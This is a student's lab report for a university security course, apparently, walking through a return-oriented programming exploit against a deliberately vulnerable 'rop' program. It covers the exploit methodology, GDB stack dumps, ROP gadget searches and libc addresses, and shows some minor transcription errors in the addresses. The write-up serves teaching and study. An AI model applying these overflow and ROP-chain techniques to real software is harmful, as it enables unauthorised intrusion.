

Assignment 2 Report - Part 3

*Lecturer: Reza Shokri**Student: Wang Xinman A0180257E*

1 Return-oriented Programming

1.1 Running exploit

./rop

input -1 on prompt

1.2 Groundwork

- Found addresses of variables with `p &[var]`.
- Used `pdis` to disassemble function `rop` to find where return address is stored.

```
gdb-peda$ stack 24
0000| 0x7fffffff340 --> 0x0
0008| 0x7fffffff348 --> 0x5555557562a0 --> 0x0
0016| 0x7fffffff350 --> 0x7ffff7fb14a0 --> 0x0
0024| 0x7fffffff358 --> 0x1
0032| 0x7fffffff360 --> 0x5555557562a0 --> 0x0
0040| 0x7fffffff368 --> 0x7ffff7e4bdbc (<_GI_IO_setbuffer+204>: test DWORD
PTR [rbx],0x8000)
0048| 0x7fffffff370 --> 0x1
0056| 0x7fffffff378 --> 0x555555554978 (<__libc_csu_init>: push r15)
0064| 0x7fffffff380 --> 0x0
0072| 0x7fffffff388 --> 0x0
0080| 0x7fffffff390 --> 0x7fffffff3b0 --> 0x0
0088| 0x7fffffff398 --> 0x555555554978 (<main+81>: mov eax,0x0)
0096| 0x7fffffff3a0 --> 0x7fffffff4a0 --> 0x1
0104| 0x7fffffff3a8 --> 0x5555557562a0 --> 0x0
0112| 0x7fffffff3b0 --> 0x0
```

Figure 1: Original stack in rop

1.3 Observations

Line (in GDB)	Address	Variable	Size (bytes)
24	0x7fffffff358	i	8
32	0x7fffffff360	buf	24
⋮	⋮		
48	0x7fffffff377		
⋮	⋮		
64	0x7fffffff380	read_size	8
72	0x7fffffff388	fsize	8
⋮	⋮		
88	0x7fffffff398	return address	8

1.4 Methodology

1. As the input i is received as signed integer (long) but later interpreted as unsigned, negative values can be supplied and overflows to become a very large positive value.
2. As such, if -1 is supplied, when comparing $i < \text{fsize}$, the smaller value will be fsize. So the entire payload (". /exploit") is read.
3. Buffer buf is first filled with the name of file to open, ". /rop.c".
4. As there are $88 - 23 = 56$ bytes between the start of buffer to just before return address, we use ljust on the payload to fill the rest of the 56 bytes with "\x00".
5. Since the first three arguments of function calls are in the registers rdi, rsi, rdx respectively, in preparation for popping values into these registers, I use ropsearch to find the address to the gadgets (refer to section "Gadget Search").
 - (a) For rsi and rdx, as multiple results are found, one of each is chosen arbitrarily.
6. So we overflow the stack up to the return address, and overwrite the return

address firstly with "open".

- (a) man open: `int open(const char *pathname, int flags)`
 - (b) As per point 3, we first push the address of the buffer (storing the filename) into `rdi`, and next the flags into `rsi`. The flag is `0x00` to denote "read only".
 - (c) Then the address of "open" is supplied.
7. Then we read the file
- (a) man read: `ssize_t read(int fd, void *buf, size_t count)`
 - (b) Similarly, we push the arguments `fd`, `buf` (to read into), `count` (number of bytes to read) into the registers `rdi`, `rsi`, `rdx` respectively.
 - (c) The `fd` value is `0x3`, as returned by `open`. The address of `buf` to read into is chosen arbitrarily, as with the amount to read.
 - (d) For `rdx`, unfortunately I could not find a gadget involving only `rdx`. As such, I chose the one at `0x00007fff7ee0371` `pop rdx; pop r12; ret`.
 - (e) As such, an additional dummy value `0x00` is popped into `r12`.
 - (f) Then the address of "read" is supplied.
8. Lastly, we write to `stdout`.
- (a) man write: `ssize_t write(int fd, const void *buf, size_t count)`
 - (b) In this case, only the `fd` of `stdout` is pushed into `rdi`, as the others stay the same (as already pushed for "read").
9. After which, the program prepares for exit. `0x0` is popped into `rdi` for exit status, and then the address for exit is supplied.

Result:

```

How many bytes do you want to read? (max: 24)
-1
./rop.c
#include <stdio.h>
#include <stdlib.h>

void rop(FILE *f)
{
    char buf[24];
    long i, fsize, read_size;

    puts("How many bytes do you want to read? (max: 24)");
    scanf("%ld", &i); // can be negative

    if (i > 24) {
        puts("You can't trick me...");
        return;
    }

    fseek(f, 0, SEEK_END); // pointer at end of file
    fsize = ftell(f); // finding file size
    fseek(f, 0, SEEK_SET); // going back to start

    read_size = (size_t) i < (size_t) fsize ? i : fsize;
    fread(buf, 1, read_size, f);
    fclose(f);

    puts(buf);
}

int main(void)
{
    FILE *f = fopen("./exploit", "r");
    setbuf(f, 0);
    if (!f)
        puts("Error opening ./exploit");
    else
        rop(f);
    return 0;
}

```

Figure 2: Result

1.5 Gadget Search

```

gdb-peda$ ropsearch "pop rdi; ret"
Searching for ROP gadget: 'pop rdi; ret' in: binary ranges
0x00005555555549e3 : (b'5fc3')  pop rdi; ret
gdb-peda$

```

Figure 3: rdi

```
gdb-peda$ ropsearch "pop rsi; ret" libc
Searching for ROP gadget: 'pop rsi; ret' in: libc ranges
0x00007ffff7deb529 : (b'5ec3') pop rsi; ret
0x00007ffff7ded59f : (b'5ec3') pop rsi; ret
0x00007ffff7df81a9 : (b'5ec3') pop rsi; ret
0x00007ffff7e080de : (b'5ec3') pop rsi; ret
0x00007ffff7e2453e : (b'5ec3') pop rsi; ret
0x00007ffff7e2a5d5 : (b'5ec3') pop rsi; ret
0x00007ffff7e2a75c : (b'5ec3') pop rsi; ret
0x00007ffff7e4115b : (b'5ec3') pop rsi; ret
0x00007ffff7e4124f : (b'5ec3') pop rsi; ret
0x00007ffff7e412fb : (b'5ec3') pop rsi; ret
0x00007ffff7e4766a : (b'5ec3') pop rsi; ret
0x00007ffff7e49a56 : (b'5ec3') pop rsi; ret
0x00007ffff7e49a7d : (b'5ec3') pop rsi; ret
0x00007ffff7e4b6eb : (b'5ec3') pop rsi; ret
0x00007ffff7e4b9bb : (b'5ec3') pop rsi; ret
0x00007ffff7e4bf19 : (b'5ec3') pop rsi; ret
0x00007ffff7e4bf60 : (b'5ec3') pop rsi; ret
0x00007ffff7e4c360 : (b'5ec3') pop rsi; ret
0x00007ffff7e4c412 : (b'5ec3') pop rsi; ret
0x00007ffff7e4cb9b : (b'5ec3') pop rsi; ret
0x00007ffff7e4cc7c : (b'5ec3') pop rsi; ret
0x00007ffff7e4ccc2 : (b'5ec3') pop rsi; ret
0x00007ffff7e4dbf7 : (b'5ec3') pop rsi; ret
0x00007ffff7e52338 : (b'5ec3') pop rsi; ret
0x00007ffff7e5320d : (b'5ec3') pop rsi; ret
--More-- (25/182)
```

Figure 4: rsi

```

gdb-peda$ ropsearch "pop rdx" libc
Searching for ROP gadget: 'pop rdx' in: libc ranges
0x00007ffff7f26866 : (b'5a5bc3')      pop rdx; pop rbx; ret
0x00007ffff7f268ae : (b'5a5bc3')      pop rdx; pop rbx; ret
0x00007ffff7f268ff : (b'5a5bc3')      pop rdx; pop rbx; ret
0x00007ffff7f26d98 : (b'5a5bc3')      pop rdx; pop rbx; ret
0x00007ffff7ec96fd : (b'5a595bc3')    pop rdx; pop rcx; pop rbx; ret
0x00007ffff7ee0371 : (b'5a415cc3')    pop rdx; pop r12; ret
0x00007ffff7ef6c7f : (b'5a415cc3')    pop rdx; pop r12; ret
0x00007ffff7efbc69 : (b'5a415cc3')    pop rdx; pop r12; ret
0x00007ffff7ee0deb : (b'5a0841f6c3')  pop rdx; or BYTE PTR [rcx-0xa],al; ret
0x00007ffff7e6ec49 : (b'5a090000f7c3') pop rdx; or DWORD PTR [rax],eax; add bh,dh; ret
0x00007ffff7edbafo : (b'5a4883c438c3') pop rdx; add rsp,0x38; ret
0x00007ffff7edbb90 : (b'5a4883c438c3') pop rdx; add rsp,0x38; ret
0x00007ffff7e66529 : (b'5a31c05d415cc3') pop rdx; xor eax,eax; pop rbp; pop r12; ret
0x00007ffff7e6656e : (b'5a31c05d415cc3') pop rdx; xor eax,eax; pop rbp; pop r12; ret
0x00007ffff7e83a9d : (b'5a31c05d415cc3') pop rdx; xor eax,eax; pop rbp; pop r12; ret
0x00007ffff7ef4af2 : (b'5a280600480f44') pop rdx; sub BYTE PTR [rsi],al; add BYTE PTR [rax+0xf],cl; rex.R ret 0xfc3
0x00007ffff7e18de9 : (b'5a4883c4385b5dc3') pop rdx; add rsp,0x38; pop rbx; pop rbp; ret
0x00007ffff7e8da6a : (b'5a4883c4385b5dc3') pop rdx; add rsp,0x38; pop rbx; pop rbp; ret
0x00007ffff7e967a5 : (b'5aa8f07526488d47f0c3') pop rdx; test al,0xf0; jne 0x7ffff7e967d0 <_wcsrchr_sse2+736>; lea rax,[rdi-0x10]; r
et
0x00007ffff7e0939f : (b'5a1a064c700220000004883c408c3') pop rdx; sbb al,BYTE PTR [rax]; mov DWORD PTR fs:[rax],0x22; add rsp,
0x8; ret
0x00007ffff7edbc35 : (b'5a488b4c24286448330c252800000075754883c438c3') pop rdx; mov rcx,QWORD PTR [rsp+0x28]; xor rcx,QWORD PTR fs:0
x28; jne 0x7ffff7edbcbb <__GI_setuid+203>; add rsp,0x38; ret
0x00007ffff7edbd05 : (b'5a488b4c24286448330c252800000075754883c438c3') pop rdx; mov rcx,QWORD PTR [rsp+0x28]; xor rcx,QWORD PTR fs:0
x28; jne 0x7ffff7edbd8b <__GI_setgid+203>; add rsp,0x38; ret
0x00007ffff7ee35f2 : (b'5a488b44241864483304252800000075084881c4d8000000c3') pop rdx; mov rax,QWORD PTR [rsp+0x18]; xor rax,QWORD
PTR fs:0x28; jne 0x7ffff7ee360b <__error_at_line+171>; add rsp,0xd8; ret
gdb-peda$

```

Figure 5: rdx

```

gdb-peda$ p &open
$1 = (int (*)(const char *, int, ...)) 0x7ffff7ed4e50 <__libc_open64>
gdb-peda$ p &read
$2 = (ssize_t (*)(int, void *, size_t)) 0x7ffff7ed5130 <__GI__libc_read>
gdb-peda$ p &write
$3 = (ssize_t (*)(int, const void *, size_t)) 0x7ffff7ed51d0 <__GI__libc_write>
gdb-peda$

```

Figure 6: addresses of open, read, write

```

gdb-peda$ p &exit
$1 = (void (*)(int)) 0x7ffff7e0dbc0 <__GI_exit>
gdb-peda$

```

Figure 7: exit address